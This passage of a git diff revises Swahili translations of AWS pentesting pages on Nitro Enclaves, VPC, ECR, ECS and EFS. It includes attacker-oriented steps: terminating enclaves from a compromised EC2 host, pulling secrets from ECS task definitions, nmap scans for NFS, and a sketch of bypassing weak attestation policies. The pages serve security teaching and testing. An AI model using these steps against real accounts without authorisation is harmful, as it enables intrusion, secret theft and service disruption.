[**nyaraka**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave), ili kukimbia picha ya enclave unahitaji kuipatia kumbukumbu ya **angalau mara 4 ya ukubwa wa faili ya `eif`**. Inawezekana kuweka rasilimali za default za kuzipatia katika faili ```shell /etc/nitro_enclaves/allocator.yaml ``` > [!CAUTION] > Kumbuka daima kwamba unahitaji **kuhifadhi rasilimali fulani kwa ajili ya mfano wa EC2 wa mzazi** pia! -Baada ya kujua rasilimali za kutoa kwa picha na hata kuwa na marekebisho ya faili ya usanidi, inawezekana kuendesha picha ya enclave na: +Baada ya kujua rasilimali za kutoa kwa picha na hata kuwa na mabadiliko ya faili ya usanidi, inawezekana kuendesha picha ya enclave na: ```shell # Restart the service so the new default values apply sudo systemctl start nitro-enclaves-allocator.service && sudo systemctl enable nitro-enclaves-allocator.service @@ -73,18 +73,18 @@ nitro-cli run-enclave --cpu-count 2 --memory 3072 --eif-path hello.eif --debug-m ``` ### Enumerate Enclaves -Ikiwa unavunja na EC2 mwenyeji, inawezekana kupata orodha ya picha za enclave zinazotembea kwa: +Ikiwa unavunja na EC2 mwenyeji inawezekana kupata orodha ya picha za enclave zinazotembea kwa: ```bash nitro-cli describe-enclaves ``` -Ni **haiwezekani kupata shell** ndani ya picha ya enclave inayotembea kwa sababu hiyo ndiyo sababu kuu ya enclave, hata hivyo, ikiwa umetumia parameter **`--debug-mode`**, inawezekana kupata **stdout** yake kwa: +Haiwezekani kupata **shell** ndani ya picha ya enclave inayotembea kwa sababu hiyo ndiyo sababu kuu ya enclave, hata hivyo, ikiwa umetumia parameter **`--debug-mode`**, inawezekana kupata **stdout** yake kwa: ```shell ENCLAVE_ID=$(nitro-cli describe-enclaves | jq -r ".[0].EnclaveID") nitro-cli console --enclave-id ${ENCLAVE_ID} ``` ### Terminate Enclaves -Ikiwa mshambuliaji atashambulia EC2 instance, kwa kawaida hatakuwa na uwezo wa kupata shell ndani yao, lakini ataweza **terminate them** na: +Ikiwa mshambuliaji atashambulia EC2 instance, kwa kawaida hatakuwa na uwezo wa kupata shell ndani yao, lakini atakuwa na uwezo wa **kuziua** kwa: ```shell nitro-cli terminate-enclave --enclave-id ${ENCLAVE_ID} ``` @@ -92,7 +92,7 @@ nitro-cli terminate-enclave --enclave-id ${ENCLAVE_ID} Njia pekee ya kuwasiliana na **enclave** inayotumia picha ni kutumia **vsocks**. -**Virtual Socket (vsock)** ni familia ya soketi katika Linux iliyoundwa mahsusi kuwezesha **mawasiliano** kati ya mashine za virtual (**VMs**) na **hypervisors** zao, au kati ya VMs **wenyewe**. Vsock inaruhusu mawasiliano bora, **ya pande mbili** bila kutegemea mfumo wa mtandao wa mwenyeji. Hii inafanya iwezekane kwa VMs kuwasiliana hata bila usanidi wa mtandao, **wakitumia 32-bit Context ID (CID) na nambari za port** kutambua na kudhibiti muunganisho. API ya vsock inasaidia aina zote za soketi za mtiririko na datagram, sawa na TCP na UDP, ikitoa chombo chenye uwezo kwa programu za kiwango cha mtumiaji katika mazingira ya virtual. +**Virtual Socket (vsock)** ni familia ya soketi katika Linux iliyoundwa mahsusi kuwezesha **mawasiliano** kati ya mashine za virtual (**VMs**) na **hypervisors** zao, au kati ya VMs **wenyewe**. Vsock inaruhusu mawasiliano bora, **ya pande mbili** bila kutegemea muundo wa mtandao wa mwenyeji. Hii inafanya iwezekane kwa VMs kuwasiliana hata bila mipangilio ya mtandao, **wakitumia 32-bit Context ID (CID) na nambari za port** kutambua na kudhibiti muunganisho. API ya vsock inasaidia aina zote za soketi za mtiririko na datagram, sawa na TCP na UDP, ikitoa chombo chenye uwezo kwa programu za ngazi ya mtumiaji katika mazingira ya virtual. > [!TIP] > Hivyo, anwani ya vsock inaonekana kama hii: `:` @@ -175,7 +175,7 @@ Mifano:
-Client Rahisi wa Python +Simple Python Client ```python #!/usr/bin/env python3 @@ -207,35 +207,35 @@ Hii itapeleka **bandari ya ndani 8001 katika vsock** kwa `ip-ranges.amazonaws.co allowlist: - { address: ip-ranges.amazonaws.com, port: 443 } ``` -Ni possible kuona anwani za vsock (**`:`**) zinazotumiwa na mwenyeji wa EC2 kwa (zingatia `3:8001`, 3 ni CID na 8001 ni port): +Inawezekana kuona anwani za vsock (**`:`**) zinazotumiwa na mwenyeji wa EC2 kwa (zingatia `3:8001`, 3 ni CID na 8001 ni bandari): ```bash sudo ss -l -p -n | grep v_str v_str LISTEN 0 0 3:8001 *:* users:(("vsock-proxy",pid=9458,fd=3)) ``` ## Nitro Enclave Atestation & KMS -The Nitro Enclaves SDK allows an enclave to request a **cryptographically signed attestation document** from the Nitro **Hypervisor**, which includes **unique measurements** specific to that enclave. These measurements, which include **hashes and platform configuration registers (PCRs)**, are used during the attestation process to **prove the enclave's identity** and **build trust with external services**. The attestation document typically contains values like PCR0, PCR1, and PCR2, which you have encountered before when building and saving an enclave EIF. +Nitro Enclaves SDK inaruhusu enclave kuomba **documenti ya attestation iliyosainiwa kwa cryptography** kutoka kwa Nitro **Hypervisor**, ambayo inajumuisha **vipimo vya kipekee** vinavyohusiana na enclave hiyo. Vipimo hivi, ambavyo vinajumuisha **hashes na platform configuration registers (PCRs)**, vinatumika wakati wa mchakato wa attestation ili **kuonyesha utambulisho wa enclave** na **kujenga uaminifu na huduma za nje**. Documenti ya attestation kwa kawaida ina thamani kama PCR0, PCR1, na PCR2, ambazo umekutana nazo hapo awali unapojenga na kuhifadhi EIF ya enclave. -From the [**docs**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-3-cryptographic-attestation#a-unique-feature-on-nitro-enclaves), these are the PCR values: +Kutoka kwenye [**docs**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-3-cryptographic-attestation#a-unique-feature-on-nitro-enclaves), hizi ndizo thamani za PCR: -
PCRHash of ...Description
PCR0Faila ya picha ya enclaveVipimo vya mfuatano vya maudhui ya faili ya picha, bila data ya sehemu.
PCR1Kernel ya Linux na bootstrapVipimo vya mfuatano vya kernel na data ya boot ramfs.
PCR2ProgramuVipimo vya mfuatano, kwa mpangilio wa programu za mtumiaji, bila boot ramfs.
PCR3Jukumu la IAM lililotolewa kwa mfano wa mzaziVipimo vya mfuatano vya jukumu la IAM lililotolewa kwa mfano wa mzazi. Inahakikisha kwamba mchakato wa attestation unafanikiwa tu wakati mfano wa mzazi una jukumu sahihi la IAM.
PCR4ID ya mfano wa mzaziVipimo vya mfuatano vya ID ya mfano wa mzazi. Inahakikisha kwamba mchakato wa attestation unafanikiwa tu wakati mfano wa mzazi una ID maalum ya mfano.
PCR8Cheti cha kusaini faili ya picha ya enclaveVipimo vya cheti cha kusaini kilichotolewa kwa faili ya picha ya enclave. Inahakikisha kwamba mchakato wa attestation unafanikiwa tu wakati enclave ilizinduliwa kutoka kwa faili ya picha ya enclave iliyosainiwa na cheti maalum.
+
PCRHash ya ...Maelezo
PCR0Faili la picha ya enclaveVipimo vya mfuatano vya maudhui ya faili la picha, bila data ya sehemu.
PCR1Linux kernel na bootstrapVipimo vya mfuatano vya kernel na data ya boot ramfs.
PCR2ProgramuVipimo vya mfuatano, kwa mpangilio wa programu za mtumiaji, bila boot ramfs.
PCR3Jukumu la IAM lililotolewa kwa mfano wa mzaziVipimo vya mfuatano vya jukumu la IAM lililotolewa kwa mfano wa mzazi. Inahakikisha kwamba mchakato wa attestation unafanikiwa tu wakati mfano wa mzazi una jukumu sahihi la IAM.
PCR4ID ya mfano wa mzaziVipimo vya mfuatano vya ID ya mfano wa mzazi. Inahakikisha kwamba mchakato wa attestation unafanikiwa tu wakati mfano wa mzazi una ID maalum ya mfano.
PCR8Cheti cha kusaini faili la picha ya enclaveVipimo vya cheti cha kusaini kilichotolewa kwa faili la picha ya enclave. Inahakikisha kwamba mchakato wa attestation unafanikiwa tu wakati enclave ilizinduliwa kutoka kwa faili la picha ya enclave iliyosainiwa na cheti maalum.
-You can integrate **cryptographic attestation** into your applications and leverage pre-built integrations with services like **AWS KMS**. AWS KMS can **validate enclave attestations** and offers attestation-based condition keys (`kms:RecipientAttestation:ImageSha384` and `kms:RecipientAttestation:PCR`) in its key policies. These policies ensure that AWS KMS permits operations using the KMS key **only if the enclave's attestation document is valid** and meets the **specified conditions**. +Unaweza kuunganisha **attestation ya cryptographic** katika programu zako na kutumia uhusiano wa awali na huduma kama **AWS KMS**. AWS KMS inaweza **kuhakiki attestation za enclave** na inatoa funguo za hali zinazotegemea attestation (`kms:RecipientAttestation:ImageSha384` na `kms:RecipientAttestation:PCR`) katika sera zake za funguo. Sera hizi zinahakikisha kwamba AWS KMS inaruhusu operesheni zinazotumia funguo za KMS **tu ikiwa documenti ya attestation ya enclave ni halali** na inakidhi **masharti yaliyotolewa**. > [!TIP] -> Note that Enclaves in debug (--debug) mode generate attestation documents with PCRs that are made of zeros (`000000000000000000000000000000000000000000000000`). Therefore, KMS policies checking these values will fail. +> Kumbuka kwamba Enclaves katika hali ya debug (--debug) zinaunda documenti za attestation zenye PCRs ambazo zimejaa sifuri (`000000000000000000000000000000000000000000000000`). Kwa hivyo, sera za KMS zinazokagua thamani hizi zitaanguka. ### PCR Bypass -From an attackers perspective, notice that some PCRs would allow to modify some parts or all the enclave image and would still be valid (for example PCR4 just checks the ID of the parent instance so running any enclave image in that EC2 will allow to fulfil this potential PCR requirement). +Kutoka kwa mtazamo wa washambuliaji, angalia kwamba baadhi ya PCRs zitaruhusu kubadilisha baadhi ya sehemu au picha nzima ya enclave na bado zitakuwa halali (kwa mfano PCR4 inachunguza tu ID ya mfano wa mzazi hivyo kuendesha picha yoyote ya enclave katika EC2 hiyo itaruhusu kutimiza mahitaji haya ya PCR). -Therefore, an attacker that compromise the EC2 instance might be able to run other enclave images in order to bypass these protections. +Kwa hivyo, mshambuliaji ambaye anashambulia mfano wa EC2 anaweza kuwa na uwezo wa kuendesha picha nyingine za enclave ili kupita ulinzi huu. -The research on how to modify/create new images to bypass each protection (spcially the not taht obvious ones) is still TODO. +Utafiti juu ya jinsi ya kubadilisha/kutengeneza picha mpya ili kupita kila ulinzi (hasa zile zisizo wazi) bado ni TODO. ## References - [https://medium.com/@F.DL/understanding-vsock-684016cf0eb0](https://medium.com/@F.DL/understanding-vsock-684016cf0eb0) -- All the parts of the Nitro tutorial from AWS: [https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli) +- Sehemu zote za mafunzo ya Nitro kutoka AWS: [https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli) {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md index 109eb5ff8..fefe57202 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md @@ -10,7 +10,7 @@ This VPC network is divided in **subnetworks**, so a **subnetwork** is directly Then, **Network Interface**s attached to services (like EC2 instances) are **connected** to the **subnetworks** with **security group(s)**. -Therefore, a **security group** will limit the exposed ports of the network **interfaces using it**, **independently of the subnetwork**. And a **network ACL** will **limit** the exposed ports to to the **whole network**. +Therefore, a **security group** will limit the exposed ports of the network **interfaces using it**, **independently of the subnetwork**. And a **network ACL** will **limit** the exposed ports to the **whole network**. Moreover, in order to **access Internet**, there are some interesting configurations to check: diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md index 1fa14acc2..bdfbb2ae6 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md @@ -18,20 +18,20 @@ Kila akaunti ya AWS ina registries 2: **Private** & **Public**. 1. **Private Registries**: -- **Private kwa default**: Picha za kontena zilizohifadhiwa katika usajili wa kibinafsi wa Amazon ECR ni **zinapatikana tu kwa watumiaji walioidhinishwa** ndani ya akaunti yako ya AWS au kwa wale ambao wamepewa ruhusa. +- **Private by default**: Picha za kontena zilizohifadhiwa katika usajili wa kibinafsi wa Amazon ECR ni **zinapatikana tu kwa watumiaji walioidhinishwa** ndani ya akaunti yako ya AWS au kwa wale ambao wamepewa ruhusa. - URI ya **repository ya kibinafsi** inafuata muundo `.dkr.ecr..amazonaws.com/` -- **Udhibiti wa ufikiaji**: Unaweza **kudhibiti ufikiaji** wa picha zako za kontena za kibinafsi kwa kutumia **sera za IAM**, na unaweza kuunda ruhusa za kina kulingana na watumiaji au majukumu. -- **Ushirikiano na huduma za AWS**: Usajili wa kibinafsi wa Amazon ECR unaweza **kuunganishwa kwa urahisi na huduma nyingine za AWS**, kama EKS, ECS... -- **Chaguzi nyingine za usajili wa kibinafsi**: -- Safu ya immutability ya Tag inaonyesha hali yake, ikiwa immutability ya tag imewezeshwa it **zuia** picha **kusukumwa** na **tags zilizopo** kutoka kufunika picha hizo. -- Safu ya **aina ya Uthibitishaji** inaonyesha mali za uthibitishaji za repository, inaonyesha aina za uthibitishaji za default kama AES-256, au ina **KMS** iliyowezeshwa. -- Safu ya **Pull through cache** inaonyesha hali yake, ikiwa hali ya Pull through cache ni Active itahifadhi **repositories katika usajili wa umma wa nje ndani ya repository yako ya kibinafsi**. +- **Access control**: Unaweza **kudhibiti ufikiaji** wa picha zako za kontena za kibinafsi kwa kutumia **sera za IAM**, na unaweza kuunda ruhusa za kina kulingana na watumiaji au majukumu. +- **Integration with AWS services**: Usajili wa kibinafsi wa Amazon ECR unaweza kuunganishwa kwa urahisi na **huduma nyingine za AWS**, kama EKS, ECS... +- **Other private registry options**: +- Safu ya immutability ya Tag inaorodhesha hali yake, ikiwa immutability ya tag imewezeshwa it **azuia** picha **kusukumwa** na **tags zilizopo** kutoka kufuta picha hizo. +- Safu ya **Encryption type** inaorodhesha mali za usimbaji wa repository, inaonyesha aina za usimbaji wa kawaida kama AES-256, au ina **KMS** iliyoanzishwa. +- Safu ya **Pull through cache** inaorodhesha hali yake, ikiwa hali ya Pull through cache ni Active itahifadhi **repositories katika usajili wa umma wa nje ndani ya repository yako ya kibinafsi**. - Sera maalum za **IAM** zinaweza kuundwa ili kutoa ruhusa tofauti. -- **Mkonfigu wa skanning** inaruhusu kuchunguza udhaifu katika picha zilizohifadhiwa ndani ya repo. +- Mipangilio ya **scanning** inaruhusu kuchunguza udhaifu katika picha zilizohifadhiwa ndani ya repo. 2. **Public Registries**: -- **Upatikanaji wa umma**: Picha za kontena zilizohifadhiwa katika usajili wa Umma wa ECR ni **zinapatikana kwa mtu yeyote kwenye mtandao bila uthibitisho.** +- **Public accessibility**: Picha za kontena zilizohifadhiwa katika usajili wa ECR Public ni **zinapatikana kwa mtu yeyote kwenye mtandao bila uthibitisho.** - URI ya **repository ya umma** ni kama `public.ecr.aws//`. Ingawa sehemu ya `` inaweza kubadilishwa na msimamizi kuwa string nyingine rahisi kukumbuka. **Repositories** diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md index 7427aec7f..036b15cee 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md @@ -6,26 +6,26 @@ ### Basic Information -Amazon **Elastic Container Services** au ECS inatoa jukwaa la **kuendesha programu zilizowekwa kwenye kontena katika wingu**. ECS ina **mbinu mbili za kutekeleza**, aina ya **EC2** na chaguo la **serverless**, **Fargate**. Huduma hii **inafanya kuendesha kontena katika wingu kuwa rahisi na isiyo na maumivu**. +Amazon **Elastic Container Services** au ECS inatoa jukwaa la **kuweka programu zilizowekwa kwenye kontena katika wingu**. ECS ina njia mbili za **kupeleka**, aina ya **EC2** na chaguo la **serverless**, **Fargate**. Huduma hii **inafanya kuendesha kontena katika wingu kuwa rahisi na bila maumivu**. ECS inafanya kazi kwa kutumia vizuizi vitatu vifuatavyo: **Clusters**, **Services**, na **Task Definitions**. -- **Clusters** ni **makundi ya kontena** yanayoendesha katika wingu. Kama ilivyotajwa hapo awali, kuna aina mbili za uzinduzi wa kontena, EC2 na Fargate. AWS inaelezea aina ya uzinduzi ya **EC2** kama inayo ruhusu wateja “kuendesha \[programu zao] zilizowekwa kwenye kontena kwenye kundi la Amazon EC2 instances ambazo \[wanazisimamia]”. **Fargate** ni sawa na hiyo na inaelezwa kama “\[inayo ruhusu] wewe kuendesha programu zako zilizowekwa kwenye kontena **bila haja ya kuandaa na kusimamia** miundombinu ya nyuma”. -- **Services** zinaundwa ndani ya kundi na zina jukumu la **kuendesha kazi**. Ndani ya ufafanuzi wa huduma **unafafanua idadi ya kazi za kuendesha, auto scaling, mtoa uwezo (Fargate/EC2/External),** **habari za mtandao** kama vile VPC’s, subnets, na vikundi vya usalama. +- **Clusters** ni **makundi ya kontena** yanayoendesha katika wingu. Kama ilivyotajwa hapo awali, kuna aina mbili za uzinduzi wa kontena, EC2 na Fargate. AWS inaelezea aina ya uzinduzi ya **EC2** kama inayo ruhusu wateja “kuendesha \[programu zao zilizowekwa kwenye kontena\] kwenye kundi la Amazon EC2 instances ambazo \[wanasimamia\]”. **Fargate** ni sawa na hiyo na inaelezwa kama “\[inayo ruhusu\] wewe kuendesha programu zako zilizowekwa kwenye kontena **bila haja ya kuandaa na kusimamia** miundombinu ya nyuma”. +- **Services** zinaundwa ndani ya kundi na zina jukumu la **kuendesha kazi**. Ndani ya ufafanuzi wa huduma **unafafanua idadi ya kazi za kuendesha, auto scaling, mtoa uwezo (Fargate/EC2/External),** taarifa za **networking** kama vile VPC’s, subnets, na vikundi vya usalama. - Kuna **aina 2 za programu**: - **Service**: Kundi la kazi zinazoshughulikia kazi za kompyuta zinazodumu ambazo zinaweza kusitishwa na kuanzishwa tena. Kwa mfano, programu ya wavuti. - **Task**: Kazi huru inayokimbia na kumalizika. Kwa mfano, kazi ya batch. -- Kati ya programu za huduma, kuna **aina 2 za ratiba za huduma**: -- [**REPLICA**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): Mkakati wa ratiba ya replica huweka na **kuhifadhi idadi inayotakiwa** ya kazi katika kundi lako. Ikiwa kwa sababu fulani kazi itasitishwa, mpya itazinduliwa katika node ile ile au tofauti. -- [**DAEMON**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): Inapeleka kazi moja tu kwenye kila mfano wa kontena hai ambao una mahitaji yanayohitajika. Hakuna haja ya kubainisha idadi inayotakiwa ya kazi, mkakati wa kuweka kazi, au kutumia sera za Huduma ya Auto Scaling. -- **Task Definitions** zina jukumu la **kufafanua ni kontena gani zitakazoendesha** na vigezo mbalimbali ambavyo vitakavyowekwa na kontena kama vile **mappings za port** na mwenyeji, **env variables**, Docker **entrypoint**... -- Angalia **env variables kwa habari nyeti**! +- Miongoni mwa programu za huduma, kuna **aina 2 za waandaaji wa huduma**: +- [**REPLICA**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): Mkakati wa upangaji wa replica huweka na **kuhifadhi idadi inayotakiwa** ya kazi katika kundi lako. Ikiwa kwa sababu fulani kazi itasitishwa, mpya itazinduliwa katika nodi ile ile au tofauti. +- [**DAEMON**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): Inapeleka kazi moja tu kwenye kila mfano wa kontena hai ambao una mahitaji yanayohitajika. Hakuna haja ya kubainisha idadi inayotakiwa ya kazi, mkakati wa kuweka kazi, au kutumia sera za Huduma za Auto Scaling. +- **Task Definitions** zina jukumu la **kufafanua ni kontena gani zitakazoendesha** na vigezo mbalimbali ambavyo vitakavyowekwa na kontena kama vile **port mappings** na mwenyeji, **env variables**, Docker **entrypoint**... +- Angalia **env variables kwa taarifa nyeti**! ### Sensitive Data In Task Definitions Task definitions zina jukumu la **kuandaa kontena halisi zitakazoendesha katika ECS**. Kwa kuwa task definitions zinafafanua jinsi kontena zitakavyoendesha, taarifa nyingi zinaweza kupatikana ndani yake. -Pacu inaweza kuhesabu ECS (list-clusters, list-container-instances, list-services, list-task-definitions), inaweza pia kutoa task definitions. +Pacu inaweza kuhesabu ECS (list-clusters, list-container-instances, list-services, list-task-definitions), inaweza pia kutoa task definitions. ### Enumeration ```bash @@ -51,7 +51,7 @@ aws ecs describe-tasks --cluster --tasks ## Look for env vars and secrets used from the task definition aws ecs describe-task-definition --task-definition : ``` -### Upatikanaji Usioidhinishwa +### Upatikanaji Usio na Uthibitisho {{#ref}} ../aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md @@ -59,7 +59,7 @@ aws ecs describe-task-definition --task-definition : ### Privesc -Katika ukurasa ufuatao unaweza kuangalia jinsi ya **kutumia vibaya ruhusa za ECS ili kupandisha mamlaka**: +Katika ukurasa ufuatao unaweza kuangalia jinsi ya **kutumia vibaya ruhusa za ECS ili kupandisha hadhi**: {{#ref}} ../aws-privilege-escalation/aws-ecs-privesc.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md index 78af1a342..9283b7089 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md @@ -4,21 +4,21 @@ ## EFS -### Basic Information +### Taarifa za Msingi -Amazon Elastic File System (EFS) inawasilishwa kama **sistema ya faili ya mtandao inayosimamiwa kikamilifu, inayoweza kupanuka, na elastiki** na AWS. Huduma hii inarahisisha uundaji na usanidi wa **sistema za faili** ambazo zinaweza kufikiwa kwa pamoja na mifano mingi ya EC2 na huduma nyingine za AWS. Vipengele muhimu vya EFS ni pamoja na uwezo wake wa kupanuka kiotomatiki bila kuingilia kati kwa mikono, kutoa ufikiaji wa latency ya chini, kusaidia mzigo wa kazi wa juu, kuhakikisha kudumu kwa data, na kuunganishwa kwa urahisi na mitambo mbalimbali ya usalama ya AWS. +Amazon Elastic File System (EFS) inawasilishwa kama **sistema ya faili ya mtandao inayosimamiwa kikamilifu, inayoweza kupanuka, na elastiki** na AWS. Huduma hii inarahisisha uundaji na usanidi wa **sistema za faili** ambazo zinaweza kufikiwa kwa pamoja na EC2 instances nyingi na huduma nyingine za AWS. Vipengele muhimu vya EFS ni pamoja na uwezo wake wa kupanuka kiotomatiki bila kuingilia kati kwa mikono, kutoa ufikiaji wa latency ya chini, kusaidia mzigo wa kazi zenye kupitia nyingi, kuhakikisha kudumu kwa data, na kuunganishwa kwa urahisi na mifumo mbalimbali ya usalama ya AWS. Kwa **kawaida**, folda ya EFS ya kuunganisha itakuwa **`/`** lakini inaweza kuwa na **jina tofauti**. -### Network Access +### Ufikiaji wa Mtandao -EFS inaundwa katika VPC na itakuwa **kwa kawaida inapatikana katika mitandao yote ya VPC**. Hata hivyo, EFS itakuwa na Kundi la Usalama. Ili **kutoa ufikiaji kwa EC2** (au huduma nyingine yoyote ya AWS) kuunganisha EFS, inahitajika **kuruhusu katika kundi la usalama la EFS sheria ya NFS ya kuingia** (bandari 2049) **kutoka kwa Kundi la Usalama la EC2**. +EFS inaundwa katika VPC na itakuwa **kwa kawaida inapatikana katika subnetworks zote za VPC**. Hata hivyo, EFS itakuwa na Kundi la Usalama. Ili **kutoa ufikiaji kwa EC2** (au huduma nyingine yoyote ya AWS) kuunganisha EFS, inahitajika **kuruhusu katika kundi la usalama la EFS sheria ya NFS ya kuingia** (bandari 2049) **kutoka kwa Kundi la Usalama la EC2**. -Bila hii, hu **wezi kuwasiliana na huduma ya NFS**. +Bila hii, **hutaweza kuwasiliana na huduma ya NFS**. Kwa maelezo zaidi kuhusu jinsi ya kufanya hivi angalia: [https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount](https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount) -### Enumeration +### Uhesabuji ```bash # Get filesystems and access policies (if any) aws efs describe-file-systems @@ -39,7 +39,7 @@ aws efs describe-replication-configurations sudo nmap -T4 -Pn -p 2049 --open 10.10.10.0/20 # or /16 to be sure ``` > [!CAUTION] -> Inaweza kuwa kwamba EFS mount point iko ndani ya VPC hiyo hiyo lakini katika subnet tofauti. Ikiwa unataka kuwa na uhakika kwamba unapata **EFS points zote, itakuwa bora kuskan `/16` netmask**. +> Inaweza kuwa kwamba EFS mount point iko ndani ya VPC hiyo hiyo lakini katika subnet tofauti. Ikiwa unataka kuwa na uhakika kwamba unapata **EFS points zote, itakuwa bora skana `/16` netmask**. ### Mount EFS ```bash @@ -94,24 +94,24 @@ sudo mount -t efs -o tls,iam :/ /efs/ ``` ### Access Points -**Access points** ni **mipango** maalum ya kuingia **katika mfumo wa faili wa EFS** ambayo inafanya iwe rahisi kudhibiti ufikiaji wa programu kwa seti za data zinazoshirikiwa. +**Access points** ni **vituo** maalum vya kuingia **katika mfumo wa faili wa EFS** vinavyorahisisha usimamizi wa ufikiaji wa programu kwa seti za data zinazoshirikiwa. -Unapounda access point, unaweza **kueleza mmiliki na ruhusa za POSIX** kwa faili na saraka zinazoundwa kupitia access point. Pia unaweza **kufafanua saraka ya mizizi ya kawaida** kwa access point, ama kwa kueleza saraka iliyopo au kwa kuunda mpya yenye ruhusa zinazohitajika. Hii inakuwezesha **kudhibiti ufikiaji wa mfumo wako wa faili wa EFS kwa kila programu au kila mtumiaji**, na kufanya iwe rahisi kudhibiti na kulinda data zako za faili zinazoshirikiwa. +Unapounda kituo cha ufikiaji, unaweza **kueleza mmiliki na ruhusa za POSIX** kwa faili na saraka zinazoundwa kupitia kituo cha ufikiaji. Pia unaweza **kufafanua saraka ya mizizi ya kawaida** kwa kituo cha ufikiaji, ama kwa kueleza saraka iliyopo au kwa kuunda mpya yenye ruhusa zinazohitajika. Hii inakuwezesha **kudhibiti ufikiaji wa mfumo wako wa faili wa EFS kwa msingi wa programu au mtumiaji**, na kuifanya iwe rahisi kusimamia na kulinda data zako za faili zinazoshirikiwa. -**You can mount the File System from an access point with something like:** +**Unaweza kuunganisha Mfumo wa Faili kutoka kwa kituo cha ufikiaji kwa kitu kama:** ```bash # Use IAM if you need to use iam permissions sudo mount -t efs -o tls,[iam],accesspoint= \ /efs/ ``` > [!WARNING] -> Kumbuka kwamba hata kujaribu kuunganisha kwenye pointi ya ufikiaji bado unahitaji kuwa na uwezo wa **kuwasiliana na huduma ya NFS kupitia mtandao**, na ikiwa EFS ina **sera** ya mfumo wa faili, unahitaji **idhini za kutosha za IAM** ili kuunganisha. +> Kumbuka kwamba hata kujaribu kuunganisha sehemu ya ufikiaji bado unahitaji kuwa na uwezo wa **kuwasiliana na huduma ya NFS kupitia mtandao**, na ikiwa EFS ina **sera** ya mfumo wa faili, unahitaji **idhini za kutosha za IAM** ili kuunganisha. -Pointi za ufikiaji zinaweza kutumika kwa madhumuni yafuatayo: +Sehemu za ufikiaji zinaweza kutumika kwa madhumuni yafuatayo: -- **Rahisisha usimamizi wa ruhusa**: Kwa kufafanua mtumiaji wa POSIX na kundi kwa kila pointi ya ufikiaji, unaweza kwa urahisi kusimamia ruhusa za ufikiaji kwa programu au watumiaji tofauti bila kubadilisha ruhusa za mfumo wa faili wa msingi. -- **Kuthibitisha saraka ya mzizi**: Pointi za ufikiaji zinaweza kuzuia ufikiaji kwenye saraka maalum ndani ya mfumo wa faili wa EFS, kuhakikisha kwamba kila programu au mtumiaji anafanya kazi ndani ya folda yake iliyotengwa. Hii husaidia kuzuia kufichuliwa au kubadilishwa kwa data kwa bahati mbaya. -- **Ufikiaji rahisi wa mfumo wa faili**: Pointi za ufikiaji zinaweza kuunganishwa na kazi ya AWS Lambda au kazi ya AWS Fargate, rahisisha ufikiaji wa mfumo wa faili kwa programu zisizo na seva na zilizofungwa kwenye kontena. +- **Rahisisha usimamizi wa ruhusa**: Kwa kufafanua mtumiaji wa POSIX na kundi kwa kila sehemu ya ufikiaji, unaweza kwa urahisi kusimamia ruhusa za ufikiaji kwa programu au watumiaji tofauti bila kubadilisha ruhusa za mfumo wa faili wa msingi. +- **Kuthibitisha saraka ya mzizi**: Sehemu za ufikiaji zinaweza kuzuia ufikiaji kwa saraka maalum ndani ya mfumo wa faili wa EFS, kuhakikisha kwamba kila programu au mtumiaji anafanya kazi ndani ya folda yake iliyotengwa. Hii husaidia kuzuia kufichuliwa au kubadilishwa kwa data kwa bahati. +- **Ufikiaji rahisi wa mfumo wa faili**: Sehemu za ufikiaji zinaweza kuunganishwa na kazi ya AWS Lambda au kazi ya AWS Fargate, rahisisha ufikiaji wa mfumo wa faili kwa programu zisizo na seva na zilizofungwa kwenye kontena. ## Privesc diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md index e4c22ce6a..b7c7b7814 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md @@ 